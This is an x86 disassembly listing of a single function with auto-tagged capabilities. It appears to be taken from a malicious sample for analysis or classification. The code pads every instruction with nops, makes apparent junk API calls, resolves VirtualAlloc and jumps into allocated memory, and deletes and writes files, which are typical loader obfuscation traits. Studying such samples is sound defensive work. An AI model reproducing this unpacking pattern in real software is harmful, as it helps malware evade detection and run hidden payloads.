Function at 0x428173
Capabilities:
Delete file
Resume thread
Terminate thread
Write file on windows

Disassembly:
push ebp
nop
mov ebp, esp
nop
sub esp, 0x64
nop
push ebx
nop
mov dword [ebp - 0x58], 0
nop
mov dword [ebp - 4], 0
nop
mov dword [ebp - 0x44], 0
nop
mov dword [ebp - 0x24], 0
nop
mov dword [ebp - 0x34], 0x5c04c16d
nop
mov dword [ebp - 0x3c], 0
nop
mov dword [ebp - 0x38], 0
nop
mov dword [ebp - 0xc], 0
nop
mov dword [ebp - 0x20], 0
nop
mov dword [ebp - 0x50], 0
nop
cmp dword [ebp + 0xc], 0xdb
nop
jne 0x4281f0
push 0
nop
push 0
nop
push 0
nop
push 0
nop
push 0
nop
push 0
nop
call dword [sym.imp.user32.dll_LoadImageA]
mov dword [ebp - 0x54], 0
nop
mov dword [ebp - 0x14], 0
nop
mov dword [ebp - 0x10], 0
nop
mov dword [ebp - 0x1c], 0
nop
mov dword [ebp - 0x4c], 0
nop
mov dword [ebp - 0x18], 0
nop
mov dword [ebp - 0x30], 0
nop
mov eax, dword [sym.imp.kernel32.dll_GetModuleHandleA]
nop
mov dword [ebp - 0x48], eax
nop
mov dword [ebp - 0x40], 0
nop
push 0
nop
push 0
nop
mov ebx, eax
nop
push 0
nop
call dword [sym.imp.kernel32.dll_PulseEvent]
push 0x409b14
nop
call dword [sym.imp.kernel32.dll_LoadLibraryA]
mov dword [ebp - 0x50], eax
nop
mov dword [ebp - 0x3c], 0x3a
nop
mov dword [ebp - 8], 0
nop
mov ecx, dword [ebp - 8]
nop
add ecx, 1
nop
mov dword [ebp - 8], ecx
nop
cmp dword [ebp - 8], 0x300
nop
jb 0x42826c
mov dword [ebp - 0x54], 0x1ded6
nop
cmp dword [ebp - 8], 0x300
nop
jne 0x42835a
mov dword [ebp - 0xc], 0x500
nop
mov dword [ebp - 0x44], 0
nop
push 0
nop
call dword [sym.imp.kernel32.dll_ResumeThread]
cmp eax, 0xf
nop
je 0x4282d8
push 0
nop
push 0
nop
push 0
nop
call sub.avifil32.dll_AVIMakeStreamFromClipboard
cmp eax, 0x80044065
nop
jne 0x4282d8
mov edx, dword [sym.imp.kernel32.dll_VirtualAlloc]
nop
mov dword [ebp + 0xc], edx
nop
mov ebx, dword [ebp + 0xc]
nop
mov eax, dword [ebp - 0x44]
nop
add eax, 2
nop
mov dword [ebp - 0x44], eax
nop
mov ecx, dword [ebp - 0x44]
nop
add ecx, 2
nop
mov dword [ebp - 0x44], ecx
nop
push dword [ebp - 0x44]
nop
mov edx, dword [ebp - 0xc]
nop
add edx, 0x600
nop
mov dword [ebp - 0xc], edx
nop
push 0x1e
nop
call dword [sym.imp.kernel32.dll_Sleep]
mov eax, dword [ebp - 0xc]
nop
add eax, 0x500
nop
mov dword [ebp - 0xc], eax
nop
push dword [ebp - 0xc]
nop
mov dword [ebp - 0x14], 0x1905
nop
mov eax, 0
nop
push 0x27593
nop
push eax
nop
push 0
nop
push 0
nop
call dword [sym.imp.kernel32.dll_TerminateThread]
mov dword [ebp - 0x5c], ebx
nop
push 0
nop
push 0
nop
call dword [sym.imp.kernel32.dll_TerminateThread]
call ebx
mov dword [ebp + 0xc], eax
nop
push dword [ebp - 0x48]
nop
push 0x1db
nop
call dword [sym.imp.kernel32.dll_Sleep]
call dword [sym.imp.kernel32.dll_GetTickCount]
mov ecx, dword [sym.imp.kernel32.dll_GetProcAddress]
nop
mov dword [ebp - 0x30], ecx
nop
push 0
nop
call dword [sym.imp.kernel32.dll_GetModuleHandleA]
mov dword [ebp - 0x18], eax
nop
mov edx, dword [ebp + 0xc]
nop
mov dword [ebp - 0x38], edx
nop
pop dword [ebp - 0x58]
nop
push 0x409b24
nop
call dword [sym.imp.kernel32.dll_DeleteFileA]
mov dword [ebp - 0x60], 0
nop
jmp 0x4283b6
mov eax, dword [ebp - 0x60]
nop
add eax, 1
nop
mov dword [ebp - 0x60], eax
nop
cmp dword [ebp - 0x60], 5
nop
jge 0x4283d0
call dword [sym.imp.kernel32.dll_GetLastError]
mov ecx, dword [ebp - 0x20]
nop
add ecx, eax
nop
mov dword [ebp - 0x20], ecx
nop
jmp 0x4283aa
mov edx, dword [ebp - 0x14]
nop
add edx, 0xa
nop
mov dword [ebp - 0x2c], edx
nop
mov eax, dword [ebp + 0xc]
nop
mov dword [ebp - 0x1c], eax
nop
mov ecx, dword [ebp - 0x14]
nop
mov edx, dword [ebp - 0x1c]
nop
lea eax, [edx + ecx + 0xa]
nop
mov dword [ebp - 0x1c], eax
nop
push 0
nop
push 0
nop
call dword [sym.imp.user32.dll_LoadBitmapA]
mov ecx, dword [ebp - 0x1c]
nop
mov edx, dword [ebp - 4]
nop
mov dword [ecx], edx
nop
mov dword [ebp - 0x28], 1
nop
mov eax, dword [ebp - 0x28]
nop
mov ecx, dword [ebp - 0x1c]
nop
mov edx, dword [ebp - 0x34]
nop
mov dword [ecx + eax*4], edx
nop
mov eax, dword [ebp + 0xc]
nop
add eax, dword [ebp - 0x3c]
nop
mov dword [ebp - 0x40], eax
nop
mov ecx, dword [ebp - 0x18]
nop
mov dword [ebp - 0x24], ecx
nop
mov edx, dword [ebp - 0x24]
nop
add edx, dword [ebp - 0x54]
nop
mov dword [ebp - 0x24], edx
nop
mov eax, dword [ebp - 0x24]
nop
add eax, dword [ebp - 0x20]
nop
mov dword [ebp - 0x24], eax
nop
mov ecx, dword [ebp - 0x38]
nop
push ecx
nop
mov edx, dword [ebp - 0x14]
nop
push edx
nop
mov eax, dword [ebp - 0x24]
nop
push eax
nop
push 0
nop
call fcn.0042859b
add esp, 0x10
nop
mov ecx, dword [ebp + 0xc]
nop
add ecx, dword [ebp - 0x3c]
nop
mov dword [ebp - 0x40], ecx
nop
push 0
nop
call dword [sym.imp.kernel32.dll_ResumeThread]
mov eax, dword [ebp - 0x30]
nop
push eax
nop
push 0
nop
push 0
nop
push 0x14
nop
push 0
nop
push 0
nop
call dword [sym.imp.kernel32.dll_WriteFile]
push dword [ebp - 0x58]
nop
mov dword [ebp - 0x64], 0
nop
mov ebx, dword [ebp - 0x40]
nop
push 0xa
nop
call dword [sym.imp.kernel32.dll_Sleep]
push 0
nop
call dword [sym.imp.kernel32.dll_ResumeThread]
cmp eax, 0xa
nop
je 0x4284da
push 0xa
nop
call dword [sym.imp.kernel32.dll_Sleep]
call ebx
push 0xa
nop
call dword [sym.imp.kernel32.dll_Sleep]
xor eax, eax
nop
pop ebx
nop
mov esp, ebp
nop
pop ebp
nop
ret